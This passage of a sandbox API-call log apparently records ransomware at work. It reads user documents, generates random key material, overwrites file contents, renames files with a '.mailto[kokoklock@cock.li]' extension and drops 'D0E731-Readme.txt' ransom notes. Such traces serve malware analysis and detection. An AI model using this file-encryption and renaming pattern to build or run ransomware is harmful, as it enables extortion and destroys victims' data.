lpOverlapped=0x0 | out: lpBuffer=0x29dbf9d0*, lpNumberOfBytesWritten=0x29dbf9b8*=0x4, lpOverlapped=0x0) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29dbf9b8*=0x4, lpOverlapped=0x0) returned 1 [0083.572] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29dbf9b8*=0x6c, lpOverlapped=0x0) returned 1 [0083.572] WriteFile (in: hFile=0x7c4, lpBuffer=0x342cf38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x342cf38*, lpNumberOfBytesWritten=0x29dbf9b8*=0x20, lpOverlapped=0x0) returned 1 [0083.572] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29dbf9b8*=0x4, lpOverlapped=0x0) returned 1 [0083.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf38) returned 1 [0083.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0083.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0083.572] CloseHandle (hObject=0x7c4) returned 1 [0083.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f8318 [0083.572] wcscpy (in: _Dest=0x33f8318, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" [0083.572] wcscat (in: _Dest=0x33f8318, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731" [0083.572] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.579] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8318) returned 1 [0083.579] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css", dwFileAttributes=0x20) returned 0 [0083.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x348c130 [0083.579] wcscpy (in: _Dest=0x348c130, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0083.579] wcscat (in: _Dest=0x348c130, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt" [0083.579] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\d0e731-readme.txt")) returned 0x20 [0083.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c130) returned 1 [0083.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2de0) returned 1 [0083.580] RtlExitUserThread (Status=0x1) Thread: id = 1187 os_tid = 0x109c [0083.510] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp")) returned 0x20 [0083.510] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp", dwFileAttributes=0x20) returned 1 [0083.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x59c [0083.564] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x29e3f7b0 | out: lpFileSize=0x29e3f7b0*=99461) returned 1 [0083.564] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x18481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.564] ReadFile (in: hFile=0x59c, lpBuffer=0x29e3f784, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x29e3f784*, lpNumberOfBytesRead=0x29e3f780*=0x4, lpOverlapped=0x0) returned 1 [0083.565] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5a0 [0083.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d370 [0083.565] NtQuerySystemTime (in: CurrentTime=0x29e3f75c | out: CurrentTime=0x29e3f75c*=132121176414610154) returned 0x0 [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xa9d42211 [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xab9493bc [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xda88859d [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x5fec1bf5 [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x79c6d2b4 [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xf295d7e6 [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xdbde926a [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x4410e42d [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xca927e1f [0083.565] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x605cea6c [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x2c7cfb25 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x5f7fd0c7 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x1344868e [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x45c60d8c [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x9db6c687 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xdd02fffa [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xbc03001c [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xd22d59ed [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xf2f29d28 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xb4a3cc91 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x77afc243 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x51af5f9d [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x8b68c22b [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x625999fa [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x28f86622 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xaaf113f8 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x986f21ee [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x23ab213 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x40a8c0d7 [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xb54ef6db [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0x2419ca1c [0083.566] RtlRandom (in: Seed=0x29e3f768 | out: Seed=0x29e3f768) returned 0xdbd1573d [0083.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.596] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.597] ReadFile (in: hFile=0x59c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29e3f734, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29e3f734*=0x4096, lpOverlapped=0x0) returned 1 [0083.597] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29e3f734, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x29e3f734*=0x4096, lpOverlapped=0x0) returned 1 [0083.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.598] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x18485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29e3f76c, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x29e3f76c*=0x20, lpOverlapped=0x0) returned 1 [0083.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x29e3f780*=0x8, lpOverlapped=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x29e3f798*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x29e3f798*, lpNumberOfBytesWritten=0x29e3f780*=0x4, lpOverlapped=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29e3f780*=0x4, lpOverlapped=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29e3f780*=0x6c, lpOverlapped=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x342d5a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x342d5a0*, lpNumberOfBytesWritten=0x29e3f780*=0x20, lpOverlapped=0x0) returned 1 [0083.598] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29e3f780, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29e3f780*=0x4, lpOverlapped=0x0) returned 1 [0083.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5a0) returned 1 [0083.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.599] CloseHandle (hObject=0x59c) returned 1 [0083.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3434f60 [0083.599] wcscpy (in: _Dest=0x3434f60, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" [0083.599] wcscat (in: _Dest=0x3434f60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" [0083.599] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.897] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434f60) returned 1 [0084.898] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp", dwFileAttributes=0x20) returned 0 [0084.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430980 [0084.900] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.900] wcscat (in: _Dest=0x3430980, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.900] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0084.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0084.912] RtlExitUserThread (Status=0x1) Thread: id = 1188 os_tid = 0x10cc [0083.600] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls")) returned 0x20 [0083.600] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls", dwFileAttributes=0x20) returned 1 [0083.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0083.600] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x29ebfb90 | out: lpFileSize=0x29ebfb90*=32347) returned 1 [0083.600] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x7e57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.600] ReadFile (in: hFile=0x3f0, lpBuffer=0x29ebfb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x29ebfb64*, lpNumberOfBytesRead=0x29ebfb60*=0x4, lpOverlapped=0x0) returned 1 [0083.601] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d3c0 [0083.601] NtQuerySystemTime (in: CurrentTime=0x29ebfb3c | out: CurrentTime=0x29ebfb3c*=132121176414922596) returned 0x0 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xc9a91019 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xed5e781a [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xd508557b [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xf1ef0e07 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xbf508b5a [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xb07df73e [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xff804259 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x8179ebd1 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xe5126e5d [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x9a20eea5 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x2a1fd8a0 [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x92ee391a [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xc771f85c [0083.601] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xf06bb4f5 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x77b99528 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x4b629b79 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x4491de98 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xb782041 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xeb35a079 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x22de804 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xc780c4e1 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x61df577e [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xcf69ac77 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x80a848f6 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x3ffecb74 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x9d1bf09 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xe4c0a059 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xcab2474d [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x702d1a39 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x2663e4e3 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0x151730a1 [0083.602] RtlRandom (in: Seed=0x29ebfb48 | out: Seed=0x29ebfb48) returned 0xd2a842e4 [0083.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.612] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.613] ReadFile (in: hFile=0x3f0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0083.613] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x29ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0083.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.614] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x7e5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d320*, 